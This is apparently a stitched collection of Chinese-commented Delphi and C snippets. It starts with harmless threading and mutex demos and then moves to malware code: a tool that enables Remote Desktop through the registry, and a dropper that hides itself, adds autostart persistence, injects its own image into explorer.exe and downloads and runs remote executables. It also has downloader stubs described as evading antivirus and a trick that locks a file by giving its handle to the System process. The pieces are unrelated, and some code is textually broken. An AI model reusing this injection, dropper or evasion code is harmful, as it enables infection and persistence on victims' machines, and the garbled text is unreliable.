unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    PaintBox1: TPaintBox;
    PaintBox2: TPaintBox;
    PaintBox3: TPaintBox;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

const
  colors: array[0..2] of TColor = (clRed, clGreen, clBlue);
var
  hArr: array[0..2] of THandle;
  panitArr: array[0..2] of TPaintBox;

function ThreadFun(p: Pointer): Integer; stdcall;
var
  i,n,x1,y1,x2,y2: Integer;
  ThreadID: DWORD;
begin
  n := Integer(p);
  panitArr[n].Color := colors[n];

  for i := 0 to 50 do with panitArr[n] do
  begin
    x1 := Random(Width); y1 := Random(Height);
    x2 := Random(Width); y2 := Random(Height);
    Canvas.Lock;
    Canvas.Ellipse(x1,y1,x2,y2);
    Canvas.Unlock;
    Sleep(2);
  end;

  {在前一个线程收尾时, 如果新建线程不超过 3 个就继续建立}
  Inc(n);
  if n < 3 then hArr[n] := CreateThread(nil, 0, @ThreadFun, Ptr(n), 0, ThreadID);
  Result := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ID: DWORD;
begin
  panitArr[0] := PaintBox1;
  panitArr[1] := PaintBox2;
  panitArr[2] := PaintBox3;

  {开始只建立了一个线程, 并传入 0 参数作为标识}
  hArr[0] := CreateThread(nil, 0, @ThreadFun, Ptr(0), 0, ID);
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
  i: Integer;
begin
  for i := 0 to Length(hArr) - 1 do CloseHandle(hArr[i]);
end;

end.

窗体文件:

object Form1: TForm1
  Left = 0
  Top = 0
  Caption = 'Form1'
  ClientHeight = 156
  ClientWidth = 321
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'Tahoma'
  Font.Style = []
  OldCreateOrder = False
  OnDestroy = FormDestroy
  PixelsPerInch = 96
  TextHeight = 13
  object PaintBox1: TPaintBox
    Left = 8
    Top = 8
    Width = 97
    Height = 113
  end
  object PaintBox2: TPaintBox
    Left = 111
    Top = 8
    Width = 98
    Height = 113
  end
  object PaintBox3: TPaintBox
    Left = 215
    Top = 8
    Width = 98
    Height = 113
  end
  object Button1: TButton
    Left = 238
    Top = 126
    Width = 75
    Height = 25
    Caption = 'Button1'
    TabOrder = 0
    OnClick = Button1Click
  end
end

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    PaintBox1: TPaintBox;
    PaintBox2: TPaintBox;
    PaintBox3: TPaintBox;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

const
  colors: array[0..2] of TColor = (clRed, clGreen, clBlue);
var
  hArr: array[0..2] of THandle;
  panitArr: array[0..2] of TPaintBox;
  hMutex: THandle; {互斥对象的句柄}

function ThreadFun(p: Pointer): Integer; stdcall;
var
  i,n,x1,y1,x2,y2: Integer;
begin
  n := Integer(p);
  panitArr[n].Color := colors[n];

  if WaitForSingleObject(hMutex, INFINITE) = WAIT_OBJECT_0 then
  begin
    for i := 0 to 50 do with panitArr[n] do
    begin
      x1 := Random(Width); y1 := Random(Height);
      x2 := Random(Width); y2 := Random(Height);
      Canvas.Lock;
      Canvas.Ellipse(x1,y1,x2,y2);
      Canvas.Unlock;
      Sleep(10);
    end;
    ReleaseMutex(hMutex);
  end;
  Result := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ID: DWORD;
  i: Integer;
begin
  panitArr[0] := PaintBox1;
  panitArr[1] := PaintBox2;
  panitArr[2] := PaintBox3;

  CloseHandle(hMutex);
  hMutex := CreateMutex(nil, False, nil);
  for i := 0 to Length(hArr) - 1 do
    hArr[i] := CreateThread(nil, 0, @ThreadFun, Ptr(i), 0, ID);
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
  i: Integer;
begin
  CloseHandle(hMutex);
  for i := 0 to Length(hArr) - 1 do CloseHandle(hArr[i]);
end;

end.

program Open3389;

{$APPTYPE CONSOLE}

uses
  SysUtils, Registry, Windows;

var
reg:TRegistry;

procedure Help;
begin
  writeln();
  writeln(======Win XP&2003 Open3389 by lanyu====== );
  Writeln(Useag +ExtractFileName(Paramstr(0))+ [/n]);
end;

begin
  { TODO -oUser -cConsole Main : Insert code here }
  if ParamCount>2 then
  begin
    help;
    exit;
  end;
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_LOCAL_MACHINE;
  reg.OpenKey(SYSTEM\CurrentControlSet\Control\Terminal Server,true);
  if ParamCount=1 then
  begin
  if Paramstr(1)=/n then
  begin
    try
      reg.WriteBool(fDenyTSConnections,true);
      Writeln(Close 3389 successfully);
    except
      Writeln(Close 3389 fail);
    end;
  end
  else
    begin
      Help;
      Exit;
    end;
  end
  else
  begin
    try
      reg.WriteBool(fDenyTSConnections,false);
      writeln(Open 3389 successfully);
    except
      writeln(Open 3389 fail);
    end;
  end;
  reg.Free;

end.

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses
Windows;

var
//动态加载shell32.dll中的ShellExecuteA函数
ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
//动态加载Urlmon.dll中的UrlDownloadToFileA函数
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
hShell,hUrlmon: THandle;


//插入IE需要用到的函数
function GetIEAppPath:string;
var
iekey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := '%programfiles%\Internet Explorer\IEXPLORE.EXE';
RegCloseKey(iekey);
end;
//写注册表 用到的函数 为activeX启动准备
function Skrivreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);

end;

//插入media player用到的函数
function GetwmAppPath:string;
var
wmkey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin

vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.EXE',0,KEY_ALL_ACCESS,wmkey);
dLength := SizeOf(iename);
if RegQueryValueEx(wmkey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := '%programfiles%\Windows Media Player\wmplayer.EXE';
RegCloseKey(wmkey);
end;

procedure Download; //下载过程
begin
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
hShell:=LoadLibrary('Shell32.dll');
hUrlmon:=LoadLibrary('unlmon.dll');
@ShellRun:= GetProcAddress(hShell,'ShellExecuteA');
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
Downfile(nil,'http://x1xxxxxxxxxxxxxxxxxxxx                         ','C:\WINDOWS\Temp\system1.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system1.exe',nil,nil,5);

Downfile(nil,'http://x2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system2.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system2.exe',nil,nil,5);

Downfile(nil,'http://x3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system3.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system3.exe',nil,nil,5);

Downfile(nil,'http://x4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system4.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system4.exe',nil,nil,5);

Downfile(nil,'http://x5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system5.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);

Downfile(nil,'http://x6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system6.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system6.exe',nil,nil,5);

Downfile(nil,'http://x7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system7.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);

Downfile(nil,'http://x8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system8.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system8.exe',nil,nil,5);

Downfile(nil,'http://x9xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system9.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system9.exe',nil,nil,5);

Downfile(nil,'http://xAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemA.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\systemA.exe',nil,nil,5);

Downfile(nil,'http://xBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemB.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\systemB.exe',nil,nil,5);


ExitProcess(0);
end;

procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
//这里得到的值为一个返回指针型变量,指向内容包括进程映像的基址
Module := Pointer(GetModuleHandle(nil));
//得到内存映像的长度
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew +
SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//在Exp进程的内存范围内分配一个足够长度的内存
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
//确定起始基址和内存映像基址的位置
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定上面各项数据后,这里开始进行操作
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
//建立远程线程,至此注入过程完成
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID); 
end;

procedure RunInject(InjType:integer);
var
ProcessHandle, PID: longword;

begin
if InjType=0 then //注入explorer.exe
begin
//获取Exp进程的PID码
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
end
else
if InjType=3 then //注入 media player
begin
winexec(PChar(GetwmAppPath),sw_hide);
sleep(500);
GetWindowThreadProcessId(FindWindow('WMPlayerApp', nil), @Pid);
end
else //注入iexplore.exe
begin
//CreateProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
winexec(PChar(GetIEAppPath),sw_hide);
sleep(500);
GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid);
end;
//打开进程
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Download);
//关闭对像
CloseHandle(ProcessHandle);
end;


BEGIN

CopyFile('C:\windows\system32\urlmon.dll','C:\windows\system32\unlmon.dll',true) ;
copyfile(pchar(paramstr(0)),pchar('C:\Program Files\Internet Explorer\iede.exe'),true);
SetFileAttributes( 'C:\Program Files\Internet Explorer\iede.exe',
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM );//设置文件系统隐藏属性
//activex自启动
skrivreg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{926A036A-158B-047A-E269-D148B0369C14}','StubPath','C:\Program Files\Internet Explorer\iede.exe');
RunInject(0); //这里改为 ：1 注入iexplore.exe 0 注入explorer.exe 3注人media player
end.

#pragma comment(lib, "urlmon.lib")
#include
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text")

int DownExeTest()
{
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
hMutex = CreateMutex(NULL, FALSE, "TestC");
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
}
}
else
{
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
ExitProcess(-1);
}
}
return 0;
}
/*
int DownExe()
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
return 0;
}
*/
int Simen()
{
//DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
return 0; 

Delphi版本:

program Main;
uses
Windows,
Urlmon;
procedure DownExeTest();
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, 'TestD');
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end else
begin
WinExec(pchar(paramstr(0)),SW_HIDE);
end;
end;
end;

{
procedure DownExe();
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end;
}

begin
// DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
end.

}

program createfile;  
uses  
  Windows, SysUtils;  
//提权函数  
procedure SetPrivilege;  
var  
  TPPrev, TP: TTokenPrivileges;  
  TokenHandle: THandle;  
  dwRetLen: DWORD;  
  lpLuid: TLargeInteger;  
begin  
  OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle);  
  if (LookupPrivilegeValue(nil, ’SeDebugPrivilege’, lpLuid)) then  
  begin  
    TP.PrivilegeCount := 1;  
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;  
    TP.Privileges[0].Luid := lpLuid;  
    AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);  
  end;  
  CloseHandle(TokenHandle);  
end;  
procedure OccupyFile(lpFileName: string);  
var  
  hProcess, hFile, hTargetHandle: thandle;  
begin  
　//打开一个pid为４的进程，只要是存在的进程，都可以  
  hProcess := OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);  
  if (hProcess = 0) then exit;  
  //以独占模式打开目标文件  
  hFile := CreateFileA(PChar(lpFileName), GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);  
  if (hFile = INVALID_HANDLE_VALUE) then  
  begin  
    CloseHandle(hProcess);  
    exit;  
  end;  
  //把文件句柄复制到pid=4的进程中去，这样，只要pid=4的进程不退出，谁也动不了目标文件  
  DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE);  
  CloseHandle(hProcess);    
end;  
begin  
  SetPrivilege;  
  OccupyFile(’D:\Program Files\工具软件\任务管理.exe’);//这是要保护的程序名  
end. 

以下是vc6.0代码

#include   



//提权函数  

void RaiseToDebugP()  

{  

HANDLE hToken;  

HANDLE hProcess = GetCurrentProcess();  

if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )  

{  

  TOKEN_PRIVILEGES tkp;  

  if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )  

  {  

   tkp.PrivilegeCount = 1;  

   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

     

   BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;  

  }  

  CloseHandle(hToken);  

}      

}  

  BOOL OccupyFile( LPCTSTR lpFileName )  

  {  

      BOOL    bRet;  

      //提升自身权限  

      RaiseToDebugP();  

   //打开一个pid为４的进程，只要是存在的进程，都可以  

   HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);    // 4为system进程号  

     

      if ( hProcess == NULL )  

      {            

    return FALSE;  

      }  

     

      HANDLE hFile;  

      HANDLE hTargetHandle;  

   //以独占模式打开目标文件  

   hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);      

     

     

      if ( hFile == INVALID_HANDLE_VALUE )  

      {  

          CloseHandle( hProcess );  

          return FALSE;  

      }  

     

   //把文件句柄复制到pid=4的进程中去，这样，只要pid=4的进程不退出，谁也动不了目标文件  

  bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,   

          0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);  

     

      CloseHandle( hProcess );  

     

      return bRet;  

  }  

    

    

  //入口函数  

  int main()  

  {  

      OccupyFile("D:\\Program Files\\工具软件\\任务管理.exe");  

     

      return 0;  

  } 



 

Try
  halt
except
end;

procedure _HandleOnException;
…
CMP [EAX].TExceptionRecord.ExceptionCode,cDelphiException
JE @@DelphiException
CLD
CALL _FpuInit
MOV EDX,ExceptClsProc
TEST EDX,EDX
JE @@exit
CALL EDX
TEST EAX,EAX
JNE @@common
JMP @@exit
…
End;

asm
//挂上SEH
xor edx, edx
push ebp
push OFFSET @@safecode
push dword ptr fs:[edx]
mov fs:[edx],esp
//调用Halt0
call Halt0
jmp @@exit;
@@safecode:
//如果出现异常继续调用Halt0退出
call Halt0;
@@exit:
end;

asm
    xor edx, edx
    push ebp
    push OFFSET @@safecode
    push dword ptr fs:[edx]
    mov fs:[edx],esp

    call Halt0
    jmp @@exit;

    @@safecode:
    call Halt0;

    @@exit:
  end;

procedure Halt0;
begin
   Halt;
end;

var
  OldProc: Pointer;
procedure DLLEntryPoint(dwReason: DWord);
begin
  if (dwReason = DLL_PROCESS_DETACH) Then
  Begin
    asm
      xor edx, edx
      push ebp
      push OFFSET @@safecode
      push dword ptr fs:[edx]
      mov fs:[edx],esp
      call Halt0
      jmp @@exit;
      @@safecode:
      call Halt0;
      @@exit:
    end;
  end;
end;

begin
  DllProc := @DLLEntryPoint;
  DllProcEX := @DLLEntryPoint;
end.